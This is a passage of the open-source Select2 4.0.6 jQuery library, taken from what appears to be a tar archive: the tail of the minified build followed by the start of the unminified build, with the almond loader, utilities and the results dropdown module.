f=a[e];b.id!=f.id&&d.push(f.id)}c.$element.val(d.join(c._valueSeparator)),c.$element.trigger("change")})},c.prototype.query=function(a,b,c){for(var d=[],e=0;e<this._currentData.length;e++){var f=this._currentData[e],g=this.matches(b,f);null!==g&&d.push(g)}c({results:d})},c.prototype.addOptions=function(c,d){var e=a.map(d,function(a){return b.GetData(a[0],"data")});this._currentData.push.apply(this._currentData,e)},c}),b.define("select2/compat/matcher",["jquery"],function(a){function b(b){function c(c,d){var e=a.extend(!0,{},d);if(null==c.term||""===a.trim(c.term))return e;if(d.children){for(var f=d.children.length-1;f>=0;f--){var g=d.children[f];b(c.term,g.text,g)||e.children.splice(f,1)}if(e.children.length>0)return e}return b(c.term,d.text,d)?e:null}return c}return b}),b.define("select2/compat/query",[],function(){function a(a,b,c){c.get("debug")&&window.console&&console.warn&&console.warn("Select2: The `query` option has been deprecated in favor of a custom data adapter that overrides the `query` method. Support will be removed for the `query` option in future versions of Select2."),a.call(this,b,c)}return a.prototype.query=function(a,b,c){b.callback=c,this.options.get("query").call(null,b)},a}),b.define("select2/dropdown/attachContainer",[],function(){function a(a,b,c){a.call(this,b,c)}return a.prototype.position=function(a,b,c){c.find(".dropdown-wrapper").append(b),b.addClass("select2-dropdown--below"),c.addClass("select2-container--below")},a}),b.define("select2/dropdown/stopPropagation",[],function(){function a(){}return a.prototype.bind=function(a,b,c){a.call(this,b,c);var d=["blur","change","click","dblclick","focus","focusin","focusout","input","keydown","keyup","keypress","mousedown","mouseenter","mouseleave","mousemove","mouseover","mouseup","search","touchend","touchstart"];this.$dropdown.on(d.join(" "),function(a){a.stopPropagation()})},a}),b.define("select2/selection/stopPropagation",[],function(){function a(){}return a.prototype.bind=function(a,b,c){a.call(this,b,c);var d=["blur","change","click","dblclick","focus","focusin","focusout","input","keydown","keyup","keypress","mousedown","mouseenter","mouseleave","mousemove","mouseover","mouseup","search","touchend","touchstart"];this.$selection.on(d.join(" "),function(a){a.stopPropagation()})},a}),function(c){"function"==typeof b.define&&b.define.amd?b.define("jquery-mousewheel",["jquery"],c):"object"==typeof exports?module.exports=c:c(a)}(function(a){function b(b){var g=b||window.event,h=i.call(arguments,1),j=0,l=0,m=0,n=0,o=0,p=0;if(b=a.event.fix(g),b.type="mousewheel","detail"in g&&(m=-1*g.detail),"wheelDelta"in g&&(m=g.wheelDelta),"wheelDeltaY"in g&&(m=g.wheelDeltaY),"wheelDeltaX"in g&&(l=-1*g.wheelDeltaX),"axis"in g&&g.axis===g.HORIZONTAL_AXIS&&(l=-1*m,m=0),j=0===m?l:m,"deltaY"in g&&(m=-1*g.deltaY,j=m),"deltaX"in g&&(l=g.deltaX,0===m&&(j=-1*l)),0!==m||0!==l){if(1===g.deltaMode){var q=a.data(this,"mousewheel-line-height");j*=q,m*=q,l*=q}else if(2===g.deltaMode){var r=a.data(this,"mousewheel-page-height");j*=r,m*=r,l*=r}if(n=Math.max(Math.abs(m),Math.abs(l)),(!f||n<f)&&(f=n,d(g,n)&&(f/=40)),d(g,n)&&(j/=40,l/=40,m/=40),j=Math[j>=1?"floor":"ceil"](j/f),l=Math[l>=1?"floor":"ceil"](l/f),m=Math[m>=1?"floor":"ceil"](m/f),k.settings.normalizeOffset&&this.getBoundingClientRect){var s=this.getBoundingClientRect();o=b.clientX-s.left,p=b.clientY-s.top}return b.deltaX=l,b.deltaY=m,b.deltaFactor=f,b.offsetX=o,b.offsetY=p,b.deltaMode=0,h.unshift(b,j,l,m),e&&clearTimeout(e),e=setTimeout(c,200),(a.event.dispatch||a.event.handle).apply(this,h)}}function c(){f=null}function d(a,b){return k.settings.adjustOldDeltas&&"mousewheel"===a.type&&b%120==0}var e,f,g=["wheel","mousewheel","DOMMouseScroll","MozMousePixelScroll"],h="onwheel"in document||document.documentMode>=9?["wheel"]:["mousewheel","DomMouseScroll","MozMousePixelScroll"],i=Array.prototype.slice;if(a.event.fixHooks)for(var j=g.length;j;)a.event.fixHooks[g[--j]]=a.event.mouseHooks;var k=a.event.special.mousewheel={version:"3.1.12",setup:function(){if(this.addEventListener)for(var c=h.length;c;)this.addEventListener(h[--c],b,!1);else this.onmousewheel=b;a.data(this,"mousewheel-line-height",k.getLineHeight(this)),a.data(this,"mousewheel-page-height",k.getPageHeight(this))},teardown:function(){if(this.removeEventListener)for(var c=h.length;c;)this.removeEventListener(h[--c],b,!1);else this.onmousewheel=null;a.removeData(this,"mousewheel-line-height"),a.removeData(this,"mousewheel-page-height")},getLineHeight:function(b){var c=a(b),d=c["offsetParent"in a.fn?"offsetParent":"parent"]();return d.length||(d=a("body")),parseInt(d.css("fontSize"),10)||parseInt(c.css("fontSize"),10)||16},getPageHeight:function(b){return a(b).height()},settings:{adjustOldDeltas:!0,normalizeOffset:!0}};a.fn.extend({mousewheel:function(a){return a?this.bind("mousewheel",a):this.trigger("mousewheel")},unmousewheel:function(a){return this.unbind("mousewheel",a)}})}),b.define("jquery.select2",["jquery","jquery-mousewheel","./select2/core","./select2/defaults","./select2/utils"],function(a,b,c,d,e){if(null==a.fn.select2){var f=["open","close","destroy"];a.fn.select2=function(b){if("object"==typeof(b=b||{}))return this.each(function(){var d=a.extend(!0,{},b);new c(a(this),d)}),this;if("string"==typeof b){var d,g=Array.prototype.slice.call(arguments,1);return this.each(function(){var a=e.GetData(this,"select2");null==a&&window.console&&console.error&&console.error("The select2('"+b+"') method was called on an element that is not using Select2."),d=a[b].apply(a,g)}),a.inArray(b,f)>-1?this:d}throw new Error("Invalid arguments for Select2: "+b)}}return null==a.fn.select2.defaults&&(a.fn.select2.defaults=d),c}),{define:b.define,require:b.require}}(),c=b.require("jquery.select2");return a.fn.select2.amd=b,c});js/select2.full.js000064400000521250151677410160010035 0ustar00/*!
 * Select2 4.0.6-rc.1
 * https://select2.github.io
 *
 * Released under the MIT license
 * https://github.com/select2/select2/blob/master/LICENSE.md
 */
;(function (factory) {
  if (typeof define === 'function' && define.amd) {
    // AMD. Register as an anonymous module.
    define(['jquery'], factory);
  } else if (typeof module === 'object' && module.exports) {
    // Node/CommonJS
    module.exports = function (root, jQuery) {
      if (jQuery === undefined) {
        // require('jQuery') returns a factory that requires window to
        // build a jQuery instance, we normalize how we use modules
        // that require this pattern but the window provided is a noop
        // if it's defined (how jquery works)
        if (typeof window !== 'undefined') {
          jQuery = require('jquery');
        }
        else {
          jQuery = require('jquery')(root);
        }
      }
      factory(jQuery);
      return jQuery;
    };
  } else {
    // Browser globals
    factory(jQuery);
  }
} (function (jQuery) {
  // This is needed so we can catch the AMD loader configuration and use it
  // The inner file should be wrapped (by `banner.start.js`) in a function that
  // returns the AMD loader references.
  var S2 =(function () {
  // Restore the Select2 AMD loader so it can be used
  // Needed mostly in the language files, where the loader is not inserted
  if (jQuery && jQuery.fn && jQuery.fn.select2 && jQuery.fn.select2.amd) {
    var S2 = jQuery.fn.select2.amd;
  }
var S2;(function () { if (!S2 || !S2.requirejs) {
if (!S2) { S2 = {}; } else { require = S2; }
/**
 * @license almond 0.3.3 Copyright jQuery Foundation and other contributors.
 * Released under MIT license, http://github.com/requirejs/almond/LICENSE
 */
//Going sloppy to avoid 'use strict' string cost, but strict practices should
//be followed.
/*global setTimeout: false */

var requirejs, require, define;
(function (undef) {
    var main, req, makeMap, handlers,
        defined = {},
        waiting = {},
        config = {},
        defining = {},
        hasOwn = Object.prototype.hasOwnProperty,
        aps = [].slice,
        jsSuffixRegExp = /\.js$/;

    function hasProp(obj, prop) {
        return hasOwn.call(obj, prop);
    }

    /**
     * Given a relative module name, like ./something, normalize it to
     * a real name that can be mapped to a path.
     * @param {String} name the relative name
     * @param {String} baseName a real name that the name arg is relative
     * to.
     * @returns {String} normalized name
     */
    function normalize(name, baseName) {
        var nameParts, nameSegment, mapValue, foundMap, lastIndex,
            foundI, foundStarMap, starI, i, j, part, normalizedBaseParts,
            baseParts = baseName && baseName.split("/"),
            map = config.map,
            starMap = (map && map['*']) || {};

        //Adjust any relative paths.
        if (name) {
            name = name.split('/');
            lastIndex = name.length - 1;

            // If wanting node ID compatibility, strip .js from end
            // of IDs. Have to do this here, and not in nameToUrl
            // because node allows either .js or non .js to map
            // to same file.
            if (config.nodeIdCompat && jsSuffixRegExp.test(name[lastIndex])) {
                name[lastIndex] = name[lastIndex].replace(jsSuffixRegExp, '');
            }

            // Starts with a '.' so need the baseName
            if (name[0].charAt(0) === '.' && baseParts) {
                //Convert baseName to array, and lop off the last part,
                //so that . matches that 'directory' and not name of the baseName's
                //module. For instance, baseName of 'one/two/three', maps to
                //'one/two/three.js', but we want the directory, 'one/two' for
                //this normalization.
                normalizedBaseParts = baseParts.slice(0, baseParts.length - 1);
                name = normalizedBaseParts.concat(name);
            }

            //start trimDots
            for (i = 0; i < name.length; i++) {
                part = name[i];
                if (part === '.') {
                    name.splice(i, 1);
                    i -= 1;
                } else if (part === '..') {
                    // If at the start, or previous value is still ..,
                    // keep them so that when converted to a path it may
                    // still work when converted to a path, even though
                    // as an ID it is less than ideal. In larger point
                    // releases, may be better to just kick out an error.
                    if (i === 0 || (i === 1 && name[2] === '..') || name[i - 1] === '..') {
                        continue;
                    } else if (i > 0) {
                        name.splice(i - 1, 2);
                        i -= 2;
                    }
                }
            }
            //end trimDots

            name = name.join('/');
        }

        //Apply map config if available.
        if ((baseParts || starMap) && map) {
            nameParts = name.split('/');

            for (i = nameParts.length; i > 0; i -= 1) {
                nameSegment = nameParts.slice(0, i).join("/");

                if (baseParts) {
                    //Find the longest baseName segment match in the config.
                    //So, do joins on the biggest to smallest lengths of baseParts.
                    for (j = baseParts.length; j > 0; j -= 1) {
                        mapValue = map[baseParts.slice(0, j).join('/')];

                        //baseName segment has  config, find if it has one for
                        //this name.
                        if (mapValue) {
                            mapValue = mapValue[nameSegment];
                            if (mapValue) {
                                //Match, update name to the new value.
                                foundMap = mapValue;
                                foundI = i;
                                break;
                            }
                        }
                    }
                }

                if (foundMap) {
                    break;
                }

                //Check for a star map match, but just hold on to it,
                //if there is a shorter segment match later in a matching
                //config, then favor over this star map.
                if (!foundStarMap && starMap && starMap[nameSegment]) {
                    foundStarMap = starMap[nameSegment];
                    starI = i;
                }
            }

            if (!foundMap && foundStarMap) {
                foundMap = foundStarMap;
                foundI = starI;
            }

            if (foundMap) {
                nameParts.splice(0, foundI, foundMap);
                name = nameParts.join('/');
            }
        }

        return name;
    }

    function makeRequire(relName, forceSync) {
        return function () {
            //A version of a require function that passes a moduleName
            //value for items that may need to
            //look up paths relative to the moduleName
            var args = aps.call(arguments, 0);

            //If first arg is not require('string'), and there is only
            //one arg, it is the array form without a callback. Insert
            //a null so that the following concat is correct.
            if (typeof args[0] !== 'string' && args.length === 1) {
                args.push(null);
            }
            return req.apply(undef, args.concat([relName, forceSync]));
        };
    }

    function makeNormalize(relName) {
        return function (name) {
            return normalize(name, relName);
        };
    }

    function makeLoad(depName) {
        return function (value) {
            defined[depName] = value;
        };
    }

    function callDep(name) {
        if (hasProp(waiting, name)) {
            var args = waiting[name];
            delete waiting[name];
            defining[name] = true;
            main.apply(undef, args);
        }

        if (!hasProp(defined, name) && !hasProp(defining, name)) {
            throw new Error('No ' + name);
        }
        return defined[name];
    }

    //Turns a plugin!resource to [plugin, resource]
    //with the plugin being undefined if the name
    //did not have a plugin prefix.
    function splitPrefix(name) {
        var prefix,
            index = name ? name.indexOf('!') : -1;
        if (index > -1) {
            prefix = name.substring(0, index);
            name = name.substring(index + 1, name.length);
        }
        return [prefix, name];
    }

    //Creates a parts array for a relName where first part is plugin ID,
    //second part is resource ID. Assumes relName has already been normalized.
    function makeRelParts(relName) {
        return relName ? splitPrefix(relName) : [];
    }

    /**
     * Makes a name map, normalizing the name, and using a plugin
     * for normalization if necessary. Grabs a ref to plugin
     * too, as an optimization.
     */
    makeMap = function (name, relParts) {
        var plugin,
            parts = splitPrefix(name),
            prefix = parts[0],
            relResourceName = relParts[1];

        name = parts[1];

        if (prefix) {
            prefix = normalize(prefix, relResourceName);
            plugin = callDep(prefix);
        }

        //Normalize according
        if (prefix) {
            if (plugin && plugin.normalize) {
                name = plugin.normalize(name, makeNormalize(relResourceName));
            } else {
                name = normalize(name, relResourceName);
            }
        } else {
            name = normalize(name, relResourceName);
            parts = splitPrefix(name);
            prefix = parts[0];
            name = parts[1];
            if (prefix) {
                plugin = callDep(prefix);
            }
        }

        //Using ridiculous property names for space reasons
        return {
            f: prefix ? prefix + '!' + name : name, //fullName
            n: name,
            pr: prefix,
            p: plugin
        };
    };

    function makeConfig(name) {
        return function () {
            return (config && config.config && config.config[name]) || {};
        };
    }

    handlers = {
        require: function (name) {
            return makeRequire(name);
        },
        exports: function (name) {
            var e = defined[name];
            if (typeof e !== 'undefined') {
                return e;
            } else {
                return (defined[name] = {});
            }
        },
        module: function (name) {
            return {
                id: name,
                uri: '',
                exports: defined[name],
                config: makeConfig(name)
            };
        }
    };

    main = function (name, deps, callback, relName) {
        var cjsModule, depName, ret, map, i, relParts,
            args = [],
            callbackType = typeof callback,
            usingExports;

        //Use name if no relName
        relName = relName || name;
        relParts = makeRelParts(relName);

        //Call the callback to define the module, if necessary.
        if (callbackType === 'undefined' || callbackType === 'function') {
            //Pull out the defined dependencies and pass the ordered
            //values to the callback.
            //Default to [require, exports, module] if no deps
            deps = !deps.length && callback.length ? ['require', 'exports', 'module'] : deps;
            for (i = 0; i < deps.length; i += 1) {
                map = makeMap(deps[i], relParts);
                depName = map.f;

                //Fast path CommonJS standard dependencies.
                if (depName === "require") {
                    args[i] = handlers.require(name);
                } else if (depName === "exports") {
                    //CommonJS module spec 1.1
                    args[i] = handlers.exports(name);
                    usingExports = true;
                } else if (depName === "module") {
                    //CommonJS module spec 1.1
                    cjsModule = args[i] = handlers.module(name);
                } else if (hasProp(defined, depName) ||
                           hasProp(waiting, depName) ||
                           hasProp(defining, depName)) {
                    args[i] = callDep(depName);
                } else if (map.p) {
                    map.p.load(map.n, makeRequire(relName, true), makeLoad(depName), {});
                    args[i] = defined[depName];
                } else {
                    throw new Error(name + ' missing ' + depName);
                }
            }

            ret = callback ? callback.apply(defined[name], args) : undefined;

            if (name) {
                //If setting exports via "module" is in play,
                //favor that over return value and exports. After that,
                //favor a non-undefined return value over exports use.
                if (cjsModule && cjsModule.exports !== undef &&
                        cjsModule.exports !== defined[name]) {
                    defined[name] = cjsModule.exports;
                } else if (ret !== undef || !usingExports) {
                    //Use the return value from the function.
                    defined[name] = ret;
                }
            }
        } else if (name) {
            //May just be an object definition for the module. Only
            //worry about defining if have a module name.
            defined[name] = callback;
        }
    };

    requirejs = require = req = function (deps, callback, relName, forceSync, alt) {
        if (typeof deps === "string") {
            if (handlers[deps]) {
                //callback in this case is really relName
                return handlers[deps](callback);
            }
            //Just return the module wanted. In this scenario, the
            //deps arg is the module name, and second arg (if passed)
            //is just the relName.
            //Normalize module name, if it contains . or ..
            return callDep(makeMap(deps, makeRelParts(callback)).f);
        } else if (!deps.splice) {
            //deps is a config object, not an array.
            config = deps;
            if (config.deps) {
                req(config.deps, config.callback);
            }
            if (!callback) {
                return;
            }

            if (callback.splice) {
                //callback is an array, which means it is a dependency list.
                //Adjust args if there are dependencies
                deps = callback;
                callback = relName;
                relName = null;
            } else {
                deps = undef;
            }
        }

        //Support require(['a'])
        callback = callback || function () {};

        //If relName is a function, it is an errback handler,
        //so remove it.
        if (typeof relName === 'function') {
            relName = forceSync;
            forceSync = alt;
        }

        //Simulate async callback;
        if (forceSync) {
            main(undef, deps, callback, relName);
        } else {
            //Using a non-zero value because of concern for what old browsers
            //do, and latest browsers "upgrade" to 4 if lower value is used:
            //http://www.whatwg.org/specs/web-apps/current-work/multipage/timers.html#dom-windowtimers-settimeout:
            //If want a value immediately, use require('id') instead -- something
            //that works in almond on the global level, but not guaranteed and
            //unlikely to work in other AMD implementations.
            setTimeout(function () {
                main(undef, deps, callback, relName);
            }, 4);
        }

        return req;
    };

    /**
     * Just drops the config on the floor, but returns req in case
     * the config return value is used.
     */
    req.config = function (cfg) {
        return req(cfg);
    };

    /**
     * Expose module registry for debugging and tooling
     */
    requirejs._defined = defined;

    define = function (name, deps, callback) {
        if (typeof name !== 'string') {
            throw new Error('See almond README: incorrect module build, no module name');
        }

        //This module may not have dependencies
        if (!deps.splice) {
            //deps is not an array, so probably means
            //an object literal or factory function for
            //the value. Adjust args.
            callback = deps;
            deps = [];
        }

        if (!hasProp(defined, name) && !hasProp(waiting, name)) {
            waiting[name] = [name, deps, callback];
        }
    };

    define.amd = {
        jQuery: true
    };
}());

S2.requirejs = requirejs;S2.require = require;S2.define = define;
}
}());
S2.define("almond", function(){});

/* global jQuery:false, $:false */
S2.define('jquery',[],function () {
  var _$ = jQuery || $;

  if (_$ == null && console && console.error) {
    console.error(
      'Select2: An instance of jQuery or a jQuery-compatible library was not ' +
      'found. Make sure that you are including jQuery before Select2 on your ' +
      'web page.'
    );
  }

  return _$;
});

S2.define('select2/utils',[
  'jquery'
], function ($) {
  var Utils = {};

  Utils.Extend = function (ChildClass, SuperClass) {
    var __hasProp = {}.hasOwnProperty;

    function BaseConstructor () {
      this.constructor = ChildClass;
    }

    for (var key in SuperClass) {
      if (__hasProp.call(SuperClass, key)) {
        ChildClass[key] = SuperClass[key];
      }
    }

    BaseConstructor.prototype = SuperClass.prototype;
    ChildClass.prototype = new BaseConstructor();
    ChildClass.__super__ = SuperClass.prototype;

    return ChildClass;
  };

  function getMethods (theClass) {
    var proto = theClass.prototype;

    var methods = [];

    for (var methodName in proto) {
      var m = proto[methodName];

      if (typeof m !== 'function') {
        continue;
      }

      if (methodName === 'constructor') {
        continue;
      }

      methods.push(methodName);
    }

    return methods;
  }

  Utils.Decorate = function (SuperClass, DecoratorClass) {
    var decoratedMethods = getMethods(DecoratorClass);
    var superMethods = getMethods(SuperClass);

    function DecoratedClass () {
      var unshift = Array.prototype.unshift;

      var argCount = DecoratorClass.prototype.constructor.length;

      var calledConstructor = SuperClass.prototype.constructor;

      if (argCount > 0) {
        unshift.call(arguments, SuperClass.prototype.constructor);

        calledConstructor = DecoratorClass.prototype.constructor;
      }

      calledConstructor.apply(this, arguments);
    }

    DecoratorClass.displayName = SuperClass.displayName;

    function ctr () {
      this.constructor = DecoratedClass;
    }

    DecoratedClass.prototype = new ctr();

    for (var m = 0; m < superMethods.length; m++) {
      var superMethod = superMethods[m];

      DecoratedClass.prototype[superMethod] =
        SuperClass.prototype[superMethod];
    }

    var calledMethod = function (methodName) {
      // Stub out the original method if it's not decorating an actual method
      var originalMethod = function () {};

      if (methodName in DecoratedClass.prototype) {
        originalMethod = DecoratedClass.prototype[methodName];
      }

      var decoratedMethod = DecoratorClass.prototype[methodName];

      return function () {
        var unshift = Array.prototype.unshift;

        unshift.call(arguments, originalMethod);

        return decoratedMethod.apply(this, arguments);
      };
    };

    for (var d = 0; d < decoratedMethods.length; d++) {
      var decoratedMethod = decoratedMethods[d];

      DecoratedClass.prototype[decoratedMethod] = calledMethod(decoratedMethod);
    }

    return DecoratedClass;
  };

  var Observable = function () {
    this.listeners = {};
  };

  Observable.prototype.on = function (event, callback) {
    this.listeners = this.listeners || {};

    if (event in this.listeners) {
      this.listeners[event].push(callback);
    } else {
      this.listeners[event] = [callback];
    }
  };

  Observable.prototype.trigger = function (event) {
    var slice = Array.prototype.slice;
    var params = slice.call(arguments, 1);

    this.listeners = this.listeners || {};

    // Params should always come in as an array
    if (params == null) {
      params = [];
    }

    // If there are no arguments to the event, use a temporary object
    if (params.length === 0) {
      params.push({});
    }

    // Set the `_type` of the first object to the event
    params[0]._type = event;

    if (event in this.listeners) {
      this.invoke(this.listeners[event], slice.call(arguments, 1));
    }

    if ('*' in this.listeners) {
      this.invoke(this.listeners['*'], arguments);
    }
  };

  Observable.prototype.invoke = function (listeners, params) {
    for (var i = 0, len = listeners.length; i < len; i++) {
      listeners[i].apply(this, params);
    }
  };

  Utils.Observable = Observable;

  Utils.generateChars = function (length) {
    var chars = '';

    for (var i = 0; i < length; i++) {
      var randomChar = Math.floor(Math.random() * 36);
      chars += randomChar.toString(36);
    }

    return chars;
  };

  Utils.bind = function (func, context) {
    return function () {
      func.apply(context, arguments);
    };
  };

  Utils._convertData = function (data) {
    for (var originalKey in data) {
      var keys = originalKey.split('-');

      var dataLevel = data;

      if (keys.length === 1) {
        continue;
      }

      for (var k = 0; k < keys.length; k++) {
        var key = keys[k];

        // Lowercase the first letter
        // By default, dash-separated becomes camelCase
        key = key.substring(0, 1).toLowerCase() + key.substring(1);

        if (!(key in dataLevel)) {
          dataLevel[key] = {};
        }

        if (k == keys.length - 1) {
          dataLevel[key] = data[originalKey];
        }

        dataLevel = dataLevel[key];
      }

      delete data[originalKey];
    }

    return data;
  };

  Utils.hasScroll = function (index, el) {
    // Adapted from the function created by @ShadowScripter
    // and adapted by @BillBarry on the Stack Exchange Code Review website.
    // The original code can be found at
    // http://codereview.stackexchange.com/q/13338
    // and was designed to be used with the Sizzle selector engine.

    var $el = $(el);
    var overflowX = el.style.overflowX;
    var overflowY = el.style.overflowY;

    //Check both x and y declarations
    if (overflowX === overflowY &&
        (overflowY === 'hidden' || overflowY === 'visible')) {
      return false;
    }

    if (overflowX === 'scroll' || overflowY === 'scroll') {
      return true;
    }

    return ($el.innerHeight() < el.scrollHeight ||
      $el.innerWidth() < el.scrollWidth);
  };

  Utils.escapeMarkup = function (markup) {
    var replaceMap = {
      '\\': '&#92;',
      '&': '&amp;',
      '<': '&lt;',
      '>': '&gt;',
      '"': '&quot;',
      '\'': '&#39;',
      '/': '&#47;'
    };

    // Do not try to escape the markup if it's not a string
    if (typeof markup !== 'string') {
      return markup;
    }

    return String(markup).replace(/[&<>"'\/\\]/g, function (match) {
      return replaceMap[match];
    });
  };

  // Append an array of jQuery nodes to a given element.
  Utils.appendMany = function ($element, $nodes) {
    // jQuery 1.7.x does not support $.fn.append() with an array
    // Fall back to a jQuery object collection using $.fn.add()
    if ($.fn.jquery.substr(0, 3) === '1.7') {
      var $jqNodes = $();

      $.map($nodes, function (node) {
        $jqNodes = $jqNodes.add(node);
      });

      $nodes = $jqNodes;
    }

    $element.append($nodes);
  };

  // Cache objects in Utils.__cache instead of $.data (see #4346)
  Utils.__cache = {};

  var id = 0;
  Utils.GetUniqueElementId = function (element) {
    // Get a unique element Id. If element has no id, 
    // creates a new unique number, stores it in the id 
    // attribute and returns the new id. 
    // If an id already exists, it simply returns it.

    var select2Id = element.getAttribute('data-select2-id');
    if (select2Id == null) {
      // If element has id, use it.
      if (element.id) {
        select2Id = element.id;
        element.setAttribute('data-select2-id', select2Id);
      } else {
        element.setAttribute('data-select2-id', ++id);
        select2Id = id.toString();
      }
    }
    return select2Id;
  };

  Utils.StoreData = function (element, name, value) {
    // Stores an item in the cache for a specified element.
    // name is the cache key.    
    var id = Utils.GetUniqueElementId(element);
    if (!Utils.__cache[id]) {
      Utils.__cache[id] = {};
    }

    Utils.__cache[id][name] = value;
  };

  Utils.GetData = function (element, name) {
    // Retrieves a value from the cache by its key (name)
    // name is optional. If no name specified, return 
    // all cache items for the specified element.
    // and for a specified element.
    var id = Utils.GetUniqueElementId(element);
    if (name) {
      if (Utils.__cache[id]) {
        return Utils.__cache[id][name] != null ? 
	      Utils.__cache[id][name]:
	      $(element).data(name); // Fallback to HTML5 data attribs.
      }
      return $(element).data(name); // Fallback to HTML5 data attribs.
    } else {
      return Utils.__cache[id];			   
    }
  };

  Utils.RemoveData = function (element) {
    // Removes all cached items for a specified element.
    var id = Utils.GetUniqueElementId(element);
    if (Utils.__cache[id] != null) {
      delete Utils.__cache[id];
    }
  };

  return Utils;
});

S2.define('select2/results',[
  'jquery',
  './utils'
], function ($, Utils) {
  function Results ($element, options, dataAdapter) {
    this.$element = $element;
    this.data = dataAdapter;
    this.options = options;

    Results.__super__.constructor.call(this);
  }

  Utils.Extend(Results, Utils.Observable);

  Results.prototype.render = function () {
    var $results = $(
      '<ul class="select2-results__options" role="tree"></ul>'
    );

    if (this.options.get('multiple')) {
      $results.attr('aria-multiselectable', 'true');
    }

    this.$results = $results;

    return $results;
  };

  Results.prototype.clear = function () {
    this.$results.empty();
  };

  Results.prototype.displayMessage = function (params) {
    var escapeMarkup = this.options.get('escapeMarkup');

    this.clear();
    this.hideLoading();

    var $message = $(
      '<li role="treeitem" aria-live="assertive"' +
      ' class="select2-results__option"></li>'
    );

    var message = this.options.get('translations').get(params.message);

    $message.append(
      escapeMarkup(
        message(params.args)
      )
    );

    $message[0].className += ' select2-results__message';

    this.$results.append($message);
  };

  Results.prototype.hideMessages = function () {
    this.$results.find('.select2-results__message').remove();
  };

  Results.prototype.append = function (data) {
    this.hideLoading();

    var $options = [];

    if (data.results == null || data.results.length === 0) {
      if (this.$results.children().length === 0) {
        this.trigger('results:message', {
          message: 'noResults'
        });
      }

      return;
    }

    data.results = this.sort(data.results);

    for (var d = 0; d < data.results.length; d++) {
      var item = data.results[d];

      var $option = this.option(item);

      $options.push($option);
    }

    this.$results.append($options);
  };

  Results.prototype.position = function ($results, $dropdown) {
    var $resultsContainer = $dropdown.find('.select2-results');
    $resultsContainer.append($results);
  };

  Results.prototype.sort = function (data) {
    var sorter = this.options.get('sorter');

    return sorter(data);
  };

  Results.prototype.highlightFirstItem = function () {
    var $options = this.$results
      .find('.select2-results__option[aria-selected]');

    var $selected = $options.filter('[aria-selected=true]');

    // Check if there are any selected options
    if ($selected.length > 0) {
      // If there are selected options, highlight the first
      $selected.first().trigger('mouseenter');
    } else {
      // If there are no selected options, highlight the first option
      // in the dropdown
      $options.first().trigger('mouseenter');
    }

    this.ensureHighlightVisible();
  };

  Results.prototype.setClasses = function () {
    var self = this;

    this.data.current(function (selected) {
      var selectedIds = $.map(selected, function (s) {
        return s.id.toString();
      });

      var $options = self.$results
        .find('.select2-results__option[aria-selected]');

      $options.each(function () {
        var $option = $(this);

        var item = Utils.GetData(this, 'data');

        // id needs to be converted to a string when comparing
        var id = '' + item.id;

        if ((item.element != null && item.element.selected) ||
            (item.element == null && $.inArray(id, selectedIds) > -1)) {
          $option.attr('aria-selected', 'true');
        } else {
          $option.attr('aria-selected', 'false');
        }
      });

    });
  };

  Results.prototype.showLoading = function (params) {
    this.hideLoading();

    var loadingMore = this.options.get('translations').get('searching');

    var loading = {
      disabled: true,
      loading: true,
      text: loadingMore(params)
    };
    var $loading = this.option(loading);
    $loading.className += ' loading-results';

    this.$results.prepend($loading);
  };

  Results.prototype.hideLoading = function () {
    this.$results.find('.loading-results').remove();
  };

  Results.prototype.option = function (data) {
    var option = document.createElement('li');
    option.className = 'select2-results__option';

    var attrs = {
      'role': 'treeitem',
      'aria-selected': 'false'
    };

    if (data.disabled) {
      delete attrs['aria-selected'];
      attrs['aria-disabled'] = 'true';
    }

    if (data.id == null) {
      delete attrs['aria-selected'];
    }

    if (data._resultId != null) {
      option.id = data._resultId;
    }

    if (data.title) {
      option.title = data.title;
    }

    if (data.children) {
      attrs.role = 'group';
      attrs['aria-label'] = data.text;
      delete attrs['aria-selected'];
    }

    for (var attr in attrs) {
      var val = attrs[attr];

      option.setAttribute(attr, val);
    }

    if (data.children) {
      var $option = $(option);

      var label = document.createElement('strong');
      label.className = 'select2-results__group';

      var $label = $(label);
      this.template(data, label);

      var $children = [];

      for (var c = 0; c < data.children.length; c++) {
        var child = data.children[c];

        var $child = this.option(child);

        $children.push($child);
      }

      var $childrenContainer = $('<ul></ul>', {
        'class': 'select2-results__options select2-results__options--nested'
      });

      $childrenContainer.append($children);

      $option.append(label);
      $option.append($childrenContainer);
    } else {
      this.template(data, option);
    }

    Utils.StoreData(option, 'data', data);

    return option;
  };

  Results.prototype.bind = function (container, $container) {
    var self = this;

    var id = container.id + '-results';

    this.$results.attr('id', id);

    container.on('results:all', function (params) {
      self.clear();
      self.append(params.data);

      if (container.isOpen()) {
        self.setClasses();
        self.highlightFirstItem();
      }
    });

    container.on('results:append', function (params) {
      self.append(params.data);

      if (container.isOpen()) {
        self.setClasses();
      }
    });

    container.on('query', function (params) {
      self.hideMessages();
      self.showLoading(params);
    });

    container.on('select', function () {
      if (!container.isOpen()) {
        return;
      }

      self.setClasses();
      self.highlightFirstItem();
    });

    container.on('unselect', function () {
      if (!container.isOpen()) {
        return;
      }

      self.setClasses();
      self.highlightFirstItem();
    });

    container.on('open', function () {
      // When the dropdown is open, aria-expended="true"
      self.$results.attr('aria-expanded', 'true');
      self.$results.attr('aria-hidden', 'false');

      self.setClasses();
      self.ensureHighlightVisible();
    });

    container.on('close', function () {
      // When the dropdown is closed, aria-expended="false"
      self.$results.attr('aria-expanded', 'false');
      self.$results.attr('aria-hidden', 'true');
      self.$results.removeAttr('aria-activedescendant');
    });

    container.on('results:toggle', function () {
      var $highlighted = self.getHighlightedResults();

      if ($highlighted.length === 0) {
        return;
      }

      $highlighted.trigger('mouseup');
    });

    container.on('results:select', function () {
      var $highlighted = self.getHighlightedResults();

      if ($highlighted.length === 0) {
        return;
      }

      var data = Utils.GetData($highlighted[0], 'data');

      if ($highlighted.attr('aria-selected') == 'true') {
        self.trigger('close', {});
      } else {
        self.trigger('select', {
          data: data
        });
      }
    });

    container.on('results:previous', function () {
      var $highlighted = self.getHighlightedResults();

      var $options = self.$results.find('[aria-selected]');

      var currentIndex = $options.index($highlighted);

      // If we are already at te top, don't move further
      // If no options, currentIndex will be -1
      if (currentIndex <= 0) {
        return;
      }

      var nextIndex = currentIndex - 1;

      // If none are highlighted, highlight the first
      if ($highlighted.length === 0) {
        nextIndex = 0;
      }

      var $next = $options.eq(nextIndex);

      $next.trigger('mouseenter');

      var currentOffset = self.$results.offset().top;
      var nextTop = $next.offset().top;
      var nextOffset = self.$results.scrollTop() + (nextTop - currentOffset);

      if (nextIndex === 0) {
